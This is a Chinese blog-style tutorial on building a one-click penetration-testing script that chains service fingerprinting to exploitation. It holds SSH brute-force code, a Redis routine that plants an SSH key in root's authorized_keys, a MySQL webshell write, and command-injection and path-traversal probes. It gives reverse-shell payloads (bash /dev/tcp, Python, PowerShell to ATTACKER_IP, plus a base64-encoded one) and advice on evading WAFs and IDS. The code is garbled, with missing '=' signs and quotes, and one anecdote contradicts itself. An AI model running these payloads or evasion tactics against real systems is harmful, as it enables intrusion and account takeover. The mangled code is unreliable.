自动化渗透测试脚本设计:从服务识别到漏洞利用的工程实践

📅 2026/8/11 14:49:40
自动化渗透测试脚本设计:从服务识别到漏洞利用的工程实践
1. 项目概述从“万金油”脚本谈起在渗透测试或安全研究领域我们常常会遇到一个看似简单却颇为繁琐的任务在发现一个开放端口后如何快速、自动化地尝试获取一个可交互的Shell手动逐个尝试不同服务的利用方式效率低下且容易遗漏。今天要聊的这个“Grey Hack 万金油脚本”其核心思想就是解决这个痛点。它不是一个具体的、现成的工具而是一种自动化攻击框架的设计思路旨在针对常见的网络服务端口如SSH、FTP、Web、数据库等集成多种已知的认证绕过、命令执行或漏洞利用方法实现一键化或半自动化的初始访问Initial Access获取。“Grey Hack”在这里并非指某个特定工具更像是一种“灰盒”或“自动化”测试的隐喻。脚本的“万金油”特性体现在其广泛的适用性和高度的可配置性上。它不是为了替代Metasploit或Cobalt Strike这类专业框架而是作为这些框架的补充或快速响应工具尤其适合在CTF竞赛、内部红队演练或授权测试中面对大量资产需要快速筛选脆弱点时使用。对于安全工程师、红队成员乃至对自动化运维和应急响应感兴趣的运维人员来说理解并能够构建或使用这类脚本能极大提升工作效率。接下来我将拆解这类脚本的核心设计思路、关键技术点、实现细节以及在实际操作中积累的经验与避坑指南。2. 脚本整体设计与核心思路拆解2.1 设计哲学为什么需要“万金油”传统的渗透测试流程中信息收集后便是漏洞扫描与利用。但对于大量开放的常见端口手动测试是不现实的。例如扫描发现100台主机开放了22端口SSH难道要手动一个个尝试弱口令吗即使使用Hydra进行爆破也需要针对不同服务编写不同的命令和字典。“万金油”脚本的设计哲学在于服务识别与利用链的自动化串联。其核心工作流可以概括为输入一个目标IP:端口 - 脚本自动识别该端口可能对应的服务如通过Banner抓取、默认页面特征 - 根据识别出的服务加载对应的“攻击模块” - 模块内按顺序尝试预定义的各种利用方法如默认凭据、特定版本漏洞、配置错误等 - 成功则返回一个Shell会话或执行权限失败则记录日志并尝试下一种方法。这种设计将渗透测试员的经验固化成了代码逻辑。它的优势在于“快”和“广”能在短时间内对大量目标进行广谱的、浅层的安全检测快速定位那些存在明显低级漏洞或配置错误的主机。2.2 核心架构与模块划分一个健壮的“万金油”脚本通常采用模块化架构这便于维护和扩展。主要可以分为以下几个部分主控引擎负责解析用户输入目标列表、端口、线程数等参数调度任务队列管理全局状态和日志记录。它是脚本的大脑。服务探测与识别模块这是脚本的“眼睛”。它不仅仅依赖输入的端口号例如8080端口可能是HTTP服务也可能是Jenkins、代理服务等而是会主动发起一个简短的连接获取服务的Banner信息或初始响应。基于正则表达式或特征库判断出最可能的具体服务如OpenSSH 7.4Apache Tomcat/9.0.0MySQL等。准确的识别是后续精准攻击的前提。攻击模块库这是脚本的“武器库”。每个模块对应一种或一类服务。例如ssh_module.py: 针对SSH服务尝试方法可能包括常见弱口令爆破root/root, admin/admin等、空口令登录、利用已知的CVE漏洞如CVE-2018-15473 OpenSSH用户枚举漏洞进行信息收集、尝试SSH密钥登录如果存在配置错误的authorized_keys等。ftp_module.py: 针对FTP服务尝试匿名登录、常见弱口令、以及利用SITE CPFR/CPTO等命令进行文件操作测试。web_module.py: 针对HTTP/HTTPS服务这是一个大类。可能包括检查默认管理后台如/admin,/wp-admin、尝试Webshell上传针对有上传点的应用、检查是否存在Struts2、ThinkPHP等框架的RCE漏洞、测试简单的SQL注入点等。database_module.py: 针对数据库端口如MySQL的3306 Redis的6379 MongoDB的27017尝试无认证或弱口令连接并执行系统命令如MySQL的into outfile或sys_exec Redis的写SSH密钥等。Payload与连接管理模块负责生成反向Shell或绑定Shell的Payload并管理成功建立的连接。例如当某个攻击模块成功执行了命令注入后该模块需要调用此模块生成一个适用于目标环境的反向Shell命令如bash、python、powershell等并启动一个监听器等待连接。日志与报告模块详细记录每一步操作、成功和失败的信息最终生成结构化的报告如JSON、HTML格式便于后续分析和归档。注意在实现时必须严格遵守授权边界。所有攻击尝试都应在完全可控、获得明确书面授权的环境中进行。未经授权的测试是违法行为。2.3 关键技术选型考量编程语言Python是首选。原因在于其丰富的网络库socket,paramiko,requests,mysql-connector等、强大的字符串处理能力、以及易于集成的特性。用Python可以快速原型开发各模块易于封装。并发处理为了提高效率脚本必须支持并发。可以使用Python的threading线程或multiprocessing进程模块更高级的可以使用asyncio异步IO。需要注意的是网络IO密集型任务使用异步或线程池能显著提升速度但线程数不宜过高避免对目标造成DoS攻击或自身资源耗尽。参数与配置应通过配置文件如YAML、JSON或命令行参数来管理字典路径、线程数、超时时间、攻击强度等级等。这使得脚本可定制化程度高适应不同场景。3. 核心模块解析与实操要点3.1 服务识别不只是看端口号很多新手会犯一个错误看到22端口就认为是SSH看到80端口就认为是HTTP。实际上服务可能运行在非标准端口上而标准端口也可能运行着意想不到的服务。因此主动探测至关重要。一个简单的Banner抓取函数示例import socket def grab_banner(ip, port, timeout5): try: socket.setdefaulttimeout(timeout) s socket.socket() s.connect((ip, port)) # 尝试接收一些数据可能是Banner banner s.recv(1024).decode(utf-8, errorsignore).strip() s.close() return banner except Exception as e: return f“连接失败: {e}” # 使用 banner grab_banner(192.168.1.100, 2222) if SSH in banner.upper(): print(“识别为SSH服务”) elif ‘Apache’ in banner or ‘HTTP’ in banner: print(“识别为HTTP服务”)然而有些服务如某些Web应用不会主动发送Banner。此时需要发送一个特定的探测包。例如对于HTTP服务可以发送一个GET / HTTP/1.0\r\n\r\n请求然后分析响应头中的Server字段。对于数据库可以尝试发送其协议握手包的一部分。实操心得建立一个特征指纹库非常重要。可以将常见服务的Banner特征如OpenSSH、Microsoft FTP Service、220 ProFTPD和响应模式整理成字典或规则文件。使用正则表达式进行匹配时要考虑到Banner信息的变体如版本号不同。同时设置合理的超时时间避免在无响应或防火墙拦截的端口上等待过久。3.2 SSH模块实战超越弱口令爆破SSH是Linux服务器的标配也是攻击者最常瞄准的入口之一。一个完整的SSH攻击模块不应仅限于弱口令字典爆破。弱口令爆破使用paramiko库。核心是处理各种连接异常认证失败、超时、主机密钥未知等。务必使用小规模、精准的字典如top100用户名密码组合并添加延迟避免触发账户锁定机制。import paramiko def ssh_brute(ip, port, username_list, password_list): for username in username_list: for password in password_list: try: client paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 注意安全风险仅测试用 client.connect(ip, port, usernameusername, passwordpassword, timeout10, banner_timeout10) print(f“[] SSH成功: {username}:{password}{ip}:{port}“) # 尝试执行命令获取基本信息 stdin, stdout, stderr client.exec_command(‘id’) print(stdout.read().decode()) client.close() return (username, password) except paramiko.AuthenticationException: continue except Exception as e: print(f”[-] 连接错误: {e}“) break # 可能是网络问题跳出内层循环用户枚举漏洞CVE-2018-15473某些旧版本OpenSSH存在漏洞可以在不进行完整认证的情况下判断用户名是否存在。这属于信息收集可以为后续爆破提供精准的用户名列表。实现时需要构造特定的畸形认证请求包。SSH密钥登录测试如果发现目标服务器~/.ssh/authorized_keys文件权限配置不当如全局可读可以尝试下载并破解其中的私钥。或者如果~/.ssh目录可写可以尝试写入自己的公钥。这需要在通过其他方式如Web漏洞获得一定文件读写权限后才能进行。注意事项SSH爆破会产生大量日志/var/log/auth.log或/var/log/secure。在授权测试中需要与防守方蓝队协调或者使用更隐蔽的方式。此外paramiko的AutoAddPolicy会忽略主机密钥检查在实际使用中应评估风险或使用已知主机密钥。3.3 Web模块实战快速入口发现Web服务攻击面最大。万金油脚本中的Web模块旨在快速发现“低垂的果实”。路径与文件扫描使用一个精简的字典扫描常见的后台路径/admin,/login,/wp-admin、配置文件/.git/config,/web.config、接口文件/api/v1/users等。可以使用requests库根据HTTP状态码200, 403, 302和响应内容长度/关键词来判断。默认凭据尝试对于识别出的具体Web应用如通过/robots.txt、页面标题、特定Cookie识别出是Jenkins、WordPress、Tomcat Manager加载对应的默认用户名密码字典进行尝试。简单漏洞探测SQL注入在发现的参数后附加、\观察响应是否有数据库错误信息如MySQL PostgreSQL SQL Server的特定错误片段。这只是一个初步筛查。命令注入在发现的参数如ip、cmd后尝试拼接; id、| id、 id等。目录遍历尝试参数如file../../../../etc/passwd。实操心得Web模块的扫描行为非常明显极易被WAFWeb应用防火墙或IDS入侵检测系统拦截。因此需要实现一些简单的绕过技巧如随机User-Agent、请求间随机延迟、使用HTTP代理池等。更重要的是扫描路径要精准避免无意义的请求风暴。3.4 数据库模块实战从连接到命令执行以MySQL和Redis为例。MySQL连接使用mysql-connector-python或pymysql库尝试连接。检查权限连接成功后执行SELECT user, host FROM mysql.user;和SHOW GRANTS;查看当前用户权限。命令执行如果用户有FILE权限可以尝试通过SELECT \?php system($_GET[cmd]); ?\ INTO OUTFILE /var/www/html/shell.php写入Webshell。或者如果服务器安装了lib_mysqludf_sys等UDF可以直接调用sys_exec()函数执行系统命令。在脚本中这些操作需要按顺序、有条件地尝试。Redis未授权访问直接使用redis库连接如果无需密码则存在未授权访问漏洞。写SSH公钥这是经典利用方式。脚本可以自动化完成生成临时SSH密钥对 - 通过Redis将公钥写入目标/root/.ssh/authorized_keys- 尝试SSH连接。import redis import os def redis_ssh_key(ip, port): r redis.Redis(hostip, portport, socket_timeout5) try: r.ping() # 测试连接 # 生成密钥对 os.system(‘ssh-keygen -t rsa -f /tmp/redis_key -N “”’) with open(‘/tmp/redis_key.pub’, ‘r’) as f: pub_key f.read().strip() # 通过Redis写入目标 r.config_set(‘dir’, ‘/root/.ssh/’) r.config_set(‘dbfilename’, ‘authorized_keys’) r.set(‘xxx’, ‘\\n\\n’ pub_key ‘\\n\\n’) # 添加换行确保格式正确 r.save() print(f”[] 可能已成功写入SSH公钥至 {ip}“) except Exception as e: print(f”[-] Redis利用失败: {e}“)写Webshell如果知道Web目录可以通过Redis写入一句话木马。常见问题数据库服务通常监听在内网或受限制的端口上。脚本需要能处理连接超时、认证失败等异常。写入文件时需要知道目标的绝对路径这往往需要通过信息收集或其他漏洞先获取。4. 脚本实现中的核心环节与避坑指南4.1 并发控制与资源管理为了提高效率我们会对多个目标或多个端口的扫描进行并发。但粗暴的并发会带来问题。线程池/进程池的使用建议使用concurrent.futures.ThreadPoolExecutor来管理线程。它可以方便地控制最大线程数并收集任务结果。from concurrent.futures import ThreadPoolExecutor, as_completed def scan_target(target): # 扫描单个目标的函数 return result targets [‘192.168.1.1’, ‘192.168.1.2’, ...] max_workers 20 # 根据网络情况和自身性能调整 with ThreadPoolExecutor(max_workersmax_workers) as executor: future_to_target {executor.submit(scan_target, target): target for target in targets} for future in as_completed(future_to_target): target future_to_target[future] try: data future.result(timeout60) # 处理结果 except Exception as exc: print(f‘{target} generated an exception: {exc}’)连接超时与重试每个网络操作都必须设置超时socket.timeout,requests.timeout等。对于偶发的网络抖动可以实现简单的重试机制如最多重试2次但要避免对失败目标无限重试。内存与连接数限制高并发下如果每个线程都创建自己的数据库连接池或大量临时对象可能导致内存耗尽。需要确保资源在使用后正确关闭使用with语句或try...finally。对于像数据库连接这类昂贵资源考虑使用连接池或在更高层级共享。4.2 Payload的适配与编码获取命令执行点后如何稳定地获取一个反向Shell是另一个挑战。Payload必须适配目标系统环境。环境判断首先判断目标系统是Linux/Unix还是Windows。可以通过执行uname -a或ver命令。反向Shell Payload库Linux Bashbash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01Linux Pythonpython3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ATTACKER_IP”,ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’Windows PowerShellpowershell -nop -c “$client New-Object System.Net.Sockets.TCPClient(‘ATTACKER_IP’,ATTACKER_PORT);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback ‘PS ‘ (pwd).Path ‘ ‘;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”编码与绕过目标环境可能禁止某些字符如空格、引号、重定向符号。需要对Payload进行Base64、十六进制等编码。例如将Bash命令用Base64编码后传递echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ | base64 -d | bash。脚本中需要集成常见的编码函数并能根据目标反馈动态调整。踩坑实录有一次在测试一个Java应用命令注入时直接拼接了Bash反向Shell命令但始终不成功。后来发现目标容器里没有/bin/bash只有/bin/sh。将Payload中的/bin/sh改为/bin/sh后成功。因此Payload的灵活性非常重要最好准备多种变体依次尝试。4.3 日志记录与状态维护良好的日志是分析和复现的基石。日志应分级INFO, WARNING, ERROR, SUCCESS并包含时间戳、目标、模块、动作和结果。import logging logging.basicConfig(levellogging.INFO, format‘%(asctime)s - %(levelname)s - [%(module)s] - %(message)s’, handlers[logging.FileHandler(‘scan.log’), logging.StreamHandler()]) logger logging.getLogger(__name__) # 在攻击模块中使用 try: client.connect(...) logger.info(f“SSH登录成功 {target} with {username}:{password}”) except paramiko.AuthenticationException: logger.debug(f“SSH认证失败 {target} with {username}:{password}”) # 爆破时Debug级别避免日志爆炸 except Exception as e: logger.error(f“SSH连接错误 {target}: {e}”)同时脚本应该维护一个全局的状态字典或队列记录哪些目标已经测试过哪些端口成功了防止重复测试。对于长时间运行的任务可以考虑实现断点续扫功能将状态定期保存到文件。5. 常见问题排查与实战技巧在实际运行“万金油”脚本时你会遇到各种各样的问题。下面是一些典型场景和解决思路。5.1 网络与连接类问题问题现象可能原因排查思路与解决技巧连接超时 (Timeout)目标IP不存在/已关机防火墙丢弃数据包网络路由问题。1. 先用ping或traceroute检查基础连通性。2. 使用telnet或nc -zv手动测试端口是否开放。3. 在脚本中增加超时时间并区分连接超时和读写超时。连接被拒绝 (Connection Refused)目标端口无服务监听防火墙主动拒绝。确认端口扫描结果准确。可能是服务未启动或监听在本地回环地址(127.0.0.1)。SSL/TLS握手错误目标服务使用自签名证书或过时的SSL协议。在使用requests等库时设置verifyFalse来忽略证书验证仅测试环境。对于自定义socket连接可能需要处理SSL层。频繁断线目标存在网络不稳定中间设备如负载均衡、WAF中断长连接。实现心跳机制或更短的超时时间。对于SSH等需要保持的会话使用更稳定的连接库并捕获异常重连。5.2 攻击模块执行失败问题现象可能原因排查思路与解决技巧爆破无结果但手动可以字典不匹配请求频率过快触发锁定脚本Payload格式错误。1. 检查字典内容是否包含目标系统常见的用户名密码。2. 在脚本中添加随机延迟(time.sleep(random.uniform(1,3)))。3. 开启Debug日志对比脚本发送的请求数据包和手动成功的数据包用BurpSuite抓包看差异在哪里。命令执行成功但没回显Payload本身有语法错误命令输出被重定向网络出口被限制。1. 先用简单的测试命令如echo test123或whoami。2. 尝试将输出重定向到目标的一个临时文件再读取该文件。3. 尝试使用DNSLog或HTTP请求外带数据OOB的方式获取回显。识别服务错误Banner被修改服务运行在非标准端口特征库不完整。1. 不要完全依赖Banner。结合端口号、响应内容长度、特定协议握手尝试综合判断。2. 实现一个“模糊匹配”模式当无法精确识别时按端口常见服务顺序尝试几个最可能的攻击模块。5.3 脚本自身运行问题依赖库缺失这是最常见的问题。务必提供清晰的requirements.txt文件并在脚本开头检查关键库的导入。try: import paramiko except ImportError: print(“[-] 缺少paramiko库请运行 ‘pip install paramiko’”) sys.exit(1)权限不足监听端口如80 443需要root权限。脚本中涉及文件操作的部分要注意当前运行用户的权限。编码问题当处理来自不同系统的Banner或命令输出时可能会遇到非UTF-8编码如GBK。使用decode(‘utf-8’, errors‘ignore’)可以避免崩溃但可能丢失信息。更健壮的做法是使用chardet库检测编码。性能瓶颈当目标数量极大时脚本可能成为瓶颈。优化方向包括使用异步IOasyncioaiohttp、将I/O密集型任务和CPU密集型任务分离到不同进程、使用更高效的数据结构如队列。5.4 提升隐蔽性与对抗性在真实的对抗环境中粗暴的扫描和爆破会迅速暴露。流量伪装随机User-Agent准备一个包含常见浏览器和爬虫UA的列表每次请求随机选择。请求随机化在请求间添加随机延迟模拟人工操作。请求参数的顺序也可以随机化。使用代理池通过代理服务器转发流量分散来源IP。需要管理代理的可用性。指纹躲避一些WAF或IDS会检测工具指纹如sqlmap、nmap的默认HTTP头。可以修改默认的库指纹例如自定义requests的Session头。降低攻击强度使用“低慢速”攻击模式。对于爆破使用极小、极精准的字典并延长尝试间隔。优先尝试无需爆破的漏洞如未授权访问、默认配置。构建这样一个“万金油”脚本的过程本身就是对常见网络服务、协议和漏洞的一次深度学习。它迫使你去思考自动化、模块化、异常处理和日志记录等工程问题。记住工具是思维的延伸最强大的“武器”始终是使用者的知识和经验。在实战中这个脚本可能只能帮你找到10%的薄弱点但剩下的90%则需要你根据具体目标进行深度的手工测试和分析。